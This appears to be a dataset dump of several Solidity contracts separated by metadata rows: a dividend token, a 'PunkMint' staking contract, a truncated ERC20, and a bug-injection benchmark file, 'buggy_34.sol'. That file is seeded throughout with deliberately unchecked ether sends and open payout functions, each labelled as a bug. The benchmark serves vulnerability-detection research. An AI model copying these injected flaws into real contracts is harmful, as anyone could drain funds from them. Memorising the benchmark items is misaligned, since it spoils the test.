uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 146,428 | 13,606 |
d0cd2298ea612423a8561e915c1429f1ff2d9f79a384b6fbb9321fd2550ee897
| 15,141 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TGuBD2Ay2oqKzMBrzGCa4qpKYaww6dSoDy_PunkMint.sol
| 3,781 | 14,924 |
//SourceUnit: PunkMint.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function average(uint a, uint b) internal pure returns (uint) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function burn(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint value) internal {
uint newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract LPWrapper {
using SafeMath for uint;
IERC20 public LP;
uint private _totalSupply;
mapping(address => uint) private _balances;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function deposit(uint amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
LP.transferFrom(msg.sender, address(this), amount);
}
function withdraw(uint amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
LP.transfer(msg.sender, amount);
}
}
contract PunkMint is LPWrapper {
IERC20 public DAK;
uint public LengthDay = 150 days;
uint public totalDAKAmount = 1500 * 10000 * 1e18;
uint public StartTimestamp = 1641787200;// 2022-01-10 12:00:00 BJS
uint public EndTimestamp = StartTimestamp + LengthDay;
uint public StartRewardTime;
uint public MintPerSecond = totalDAKAmount.div(LengthDay);
uint public lastRewardTimestamp = StartTimestamp;
uint public lastRewardTimestamp2 = StartTimestamp;
uint public accTokenPerShareStored;
uint public accTokenPerShareStored2;
mapping(address => uint) public userAccTokenPerShare;
mapping(address => uint) public userAccTokenPerShare2;
mapping(address => uint) internal rewards;
mapping(address => uint) internal rewards2;
mapping(address => address) public inviters;
mapping(address => uint) public invitersAmount;
uint public totalInvitersAmount;
address public DEAD = address(0x000000000000000000000000000000000000dEaD);
struct InviterList {
address Customer;
uint DepositAmount;
uint InviterTime;
}
mapping(address => InviterList[]) public invitations;
event RewardAdded(uint reward);
event Staked(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RewardPaid(address indexed user, uint reward);
modifier updateReward(address account) {
accTokenPerShareStored = accTokenPerShare();
lastRewardTimestamp = nowTimestamp();
if (account != address(0)) {
rewards[account] = earned(account);
userAccTokenPerShare[account] = accTokenPerShareStored;
}
_;
}
function updateReward2(address account) internal {
accTokenPerShareStored2 = accTokenPerShare2();
lastRewardTimestamp2 = nowTimestamp();
if (account != address(0)) {
rewards2[account] = earned2(account);
userAccTokenPerShare2[account] = accTokenPerShareStored2;
}
}
constructor (address _DAK, IERC20 _LP) public{
DAK = IERC20(_DAK);
LP = _LP;
}
function nowTimestamp() public view returns (uint) {
return Math.min(block.timestamp, EndTimestamp);
}
function accTokenPerShare() public view returns (uint) {
if (totalSupply() == 0) {
return accTokenPerShareStored;
}
return
accTokenPerShareStored.add(nowTimestamp()
.sub(lastRewardTimestamp)
.mul(MintPerSecond)
.mul(6)
.div(10)
.mul(1e18)
.div(totalSupply()));
}
function accTokenPerShare2() public view returns (uint) {
if (totalInvitersAmount == 0) {
return accTokenPerShareStored2;
}
return
accTokenPerShareStored2.add(nowTimestamp()
.sub(lastRewardTimestamp2)
.mul(MintPerSecond)
.mul(4)
.div(10)
.mul(1e18)
.div(totalInvitersAmount));
}
function earned(address account) public view returns (uint) {
return
balanceOf(account)
.mul(accTokenPerShare().sub(userAccTokenPerShare[account]))
.div(1e18)
.add(rewards[account]);
}
function earned2(address account) public view returns (uint) {
return
invitersAmount[account]
.mul(accTokenPerShare2().sub(userAccTokenPerShare2[account]))
.div(1e18)
.add(rewards2[account]);
}
function currentReward (address account) public view returns(uint) {
return earned(account) + earned2(account);
}
function deposit(uint amount, address _inviter) public updateReward(msg.sender) checkStart{
require(amount > 0, "Cannot Deposit 0");
require(block.timestamp > StartTimestamp, "Mint Not Start");
require(block.timestamp < EndTimestamp, "Mint Finish");
if (LP.balanceOf(address(this)) == 0) {
StartRewardTime = block.timestamp;
lastRewardTimestamp = block.timestamp;
}
if (totalInvitersAmount == 0) {
lastRewardTimestamp2 = block.timestamp;
}
address _tempInviter = inviters[msg.sender] ;
if (inviters[msg.sender] == address(0)) {
inviters[msg.sender] = _inviter;
invitations[_inviter].push(InviterList({
Customer : msg.sender,
DepositAmount : amount,
InviterTime : block.timestamp
}));
}
if (inviters[msg.sender] != address(0) && inviters[msg.sender] != address(DEAD)) {
updateReward2(inviters[msg.sender]);
if (_tempInviter != address(0)) {
InviterList[] storage invitation = invitations[inviters[msg.sender]];
for (uint i = 0; i < invitation.length; i++) {
if (invitation[i].Customer == msg.sender) {
invitation[i].DepositAmount += amount;
}
}
}
totalInvitersAmount += amount;
invitersAmount[inviters[msg.sender]] += amount;
}
super.deposit(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint amount) public updateReward(msg.sender) checkStart{
require(amount > 0, "Cannot withdraw 0");
if (inviters[msg.sender] != address(0) && inviters[msg.sender] != address(DEAD)) {
updateReward2(inviters[msg.sender]);
InviterList[] storage invitation = invitations[inviters[msg.sender]];
for (uint i = 0; i < invitation.length; i++) {
if (invitation[i].Customer == msg.sender) {
invitation[i].DepositAmount -= amount;
}
}
totalInvitersAmount -= amount;
invitersAmount[inviters[msg.sender]] -= amount;
}
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkStart{
require(block.timestamp > StartRewardTime, "NoBody Deposit LP Yet");
uint reward = earned(msg.sender);
uint reward2;
updateReward2(msg.sender);
reward2 = earned2(msg.sender);
rewards[msg.sender] = 0;
rewards2[msg.sender] = 0;
transfer(msg.sender, reward + reward2);
emit RewardPaid(msg.sender, reward + reward2);
}
function transfer(address _to, uint _amount) internal {
uint tokenBalance = DAK.balanceOf(address(this));
if(_amount > tokenBalance) {
DAK.transfer(_to, tokenBalance);
} else {
DAK.transfer(_to, _amount);
}
}
function getInviterList(address _account) public view returns(address[] memory, uint[] memory, uint[] memory) {
address[] memory Customers = new address[](invitations[_account].length);
uint[] memory DepositAmounts = new uint[](invitations[_account].length);
uint[] memory InviterTimes = new uint[](invitations[_account].length);
for (uint i = 0; i< invitations[_account].length; i++) {
InviterList storage _userlist = invitations[_account][i];
Customers[i] = _userlist.Customer;
DepositAmounts[i] = _userlist.DepositAmount;
InviterTimes[i] = _userlist.InviterTime;
}
return (Customers, DepositAmounts, InviterTimes);
}
modifier checkStart(){
require(block.timestamp > StartTimestamp,"Game Not Start");
_;
}
}
| 298,715 | 13,607 |
7420639e21431f71cd1f1e3f281f56702a7d7f0048c29b623cdc7488b28be58f
| 18,082 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Unchecked_send/Sol/buggy_34.sol
| 3,394 | 11,760 |
pragma solidity 0.4.25;
contract Ownable {
function withdrawBal_unchk41 () public{
uint64 Balances_unchk41 = 0;
msg.sender.send(Balances_unchk41);} //Unchecked_send bug
address public owner;
function my_func_unchk11(address dst) public payable{
dst.send(msg.value); //Unchecked_send bug
}
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
function bug_unchk_send31() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
function bug_unchk_send30() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract LollypopToken is Ownable {
using SafeMath for uint256;
function UncheckedExternalCall_unchk40 () public
{ address addr_unchk40;
if (! addr_unchk40.send (2 ether))
{// comment1;
}
else
{//comment2;
}
}
mapping (address => transferMapping) private _balances;
function UncheckedExternalCall_unchk4 () public
{ address addr_unchk4;
if (! addr_unchk4.send (42 ether))
{// comment1;
}
else
{//comment2;
}
}
mapping (address => mapping (address => uint256)) private _allowances;
function bug_unchk39(address addr) public
{addr.send (4 ether); } //Unchecked_send bug
uint256 private _totalSupply;
function unhandledsend_unchk38(address callee) public {
callee.send(5 ether); //Unchecked_send bug
}
uint256 public _maxTotalSupply;
function callnotchecked_unchk37(address callee) public {
callee.call.value(1 ether); //Unchecked_send bug
}
string private _name = "Lollypop";
function my_func_uncheck36(address dst) public payable{
dst.call.value(msg.value)(""); //Unchecked_send bug
}
string private _symbol = "Lolly";
function my_func_unchk35(address dst) public payable{
dst.send(msg.value); //Unchecked_send bug
}
uint8 private _decimals= 18;
function cash_unchk34(uint roundIndex, uint subpotIndex, address winner_unchk34) public{
uint64 subpot_unchk34 = 10 ether;
winner_unchk34.send(subpot_unchk34); //bug //Unchecked_send bug
subpot_unchk34= 0;
}
uint256 public maxAgeOfToken = 365 days;
bool public payedOut_unchk33 = false;
function withdrawLeftOver_unchk33() public {
require(payedOut_unchk33);
msg.sender.send(address(this).balance); //Unchecked_send bug
}
uint256 public minAgeOfToken = 1 days;
function bug_unchk_send32() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
uint256 public perDayBonus = 100; // Divisible 1/100 (0.1 %)
struct transferMapping{
uint256 amount;
uint256 time;
}
constructor() public {
_maxTotalSupply = 1000000000 * 10 ** 18;
_totalSupply = 2000000 * 10 ** 18;
_balances[msg.sender].amount = _totalSupply;
_balances[msg.sender].time = now;
}
function bug_unchk3(address addr) public
{addr.send (42 ether); } //Unchecked_send bug
function calculateBonus(uint256 timeElasped , uint256 amount) public view returns(uint256){
uint256 totalDays = timeElasped.div(minAgeOfToken);
if(totalDays > maxAgeOfToken){
totalDays = maxAgeOfToken;
}
uint256 totalBonus = (totalDays * amount).div(perDayBonus);
return totalBonus;
}
function bug_unchk_send29() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderTimeElasped = now - (_balances[sender].time);
uint256 recipientTimeElasped = now - (_balances[recipient].time);
if(senderTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply)){
uint256 bonus = calculateBonus(senderTimeElasped , balanceOf(sender));
mint(sender , bonus);
}
if(recipientTimeElasped >= minAgeOfToken && (_totalSupply < _maxTotalSupply) && sender!= recipient){
uint256 bonus2 = calculateBonus(recipientTimeElasped , balanceOf(recipient));
mint(recipient , bonus);
}
_balances[sender].amount = _balances[sender].amount.sub(amount);
_balances[recipient].amount = _balances[recipient].amount.add(amount);
_balances[sender].time = now;
_balances[recipient].time = now;
emit Transfer(sender, recipient, amount);
}
function bug_unchk_send28() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function name() public view returns (string memory) {
return _name;
}
function bug_unchk_send27() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function symbol() public view returns (string memory) {
return _symbol;
}
function bug_unchk_send26() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function decimals() public view returns (uint8) {
return _decimals;
}
function bug_unchk_send25() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
modifier onlyLollypopAndOwner {
require(msg.sender == address(this) || msg.sender == owner);
_;
}
function cash_unchk10(uint roundIndex, uint subpotIndex,address winner_unchk10) public{
uint64 subpot_unchk10 = 10 ether;
winner_unchk10.send(subpot_unchk10); //bug //Unchecked_send bug
subpot_unchk10= 0;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function callnotchecked_unchk1(address callee) public {
callee.call.value(2 ether); //Unchecked_send bug
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account].amount = _balances[account].amount.add(amount);
emit Transfer(address(0), account, amount);
}
function bug_unchk_send24() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function bug_unchk_send23() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account].amount;
}
function bug_unchk_send22() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function timeOf(address account) public view returns (uint256) {
return _balances[account].time;
}
function bug_unchk_send21() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function bug_unchk_send20() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
require(receivers.length == amounts.length);
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function unhandledsend_unchk2(address callee) public {
callee.send(5 ether); //Unchecked_send bug
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function bug_unchk_send19() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function bug_unchk_send18() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function bug_unchk_send17() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function bug_unchk_send16() payable public{
msg.sender.send(1 ether); //Unchecked_send bug
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function bug_unchk15(address addr) public
{addr.send (42 ether); } //Unchecked_send bug
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account].amount = _balances[account].amount.sub(value);
emit Transfer(account, address(0), value);
}
function unhandledsend_unchk14(address callee) public {
callee.send(5 ether); //Unchecked_send bug
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function callnotchecked_unchk13(address callee) public {
callee.call.value(1 ether); //Unchecked_send bug
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function my_func_uncheck12(address dst) public payable{
dst.call.value(msg.value)(""); //Unchecked_send bug
}
}
| 223,916 | 13,608 |
1ac9bd16d7b69fef4a0c99a2029f7f9d6b754f665601bfdb70f9f57e6d4f61ef
| 17,242 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/PEER-0x5Dd115EB39A0FC5DA9022e4bbB8e8679cA066A74.sol
| 3,329 | 12,601 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
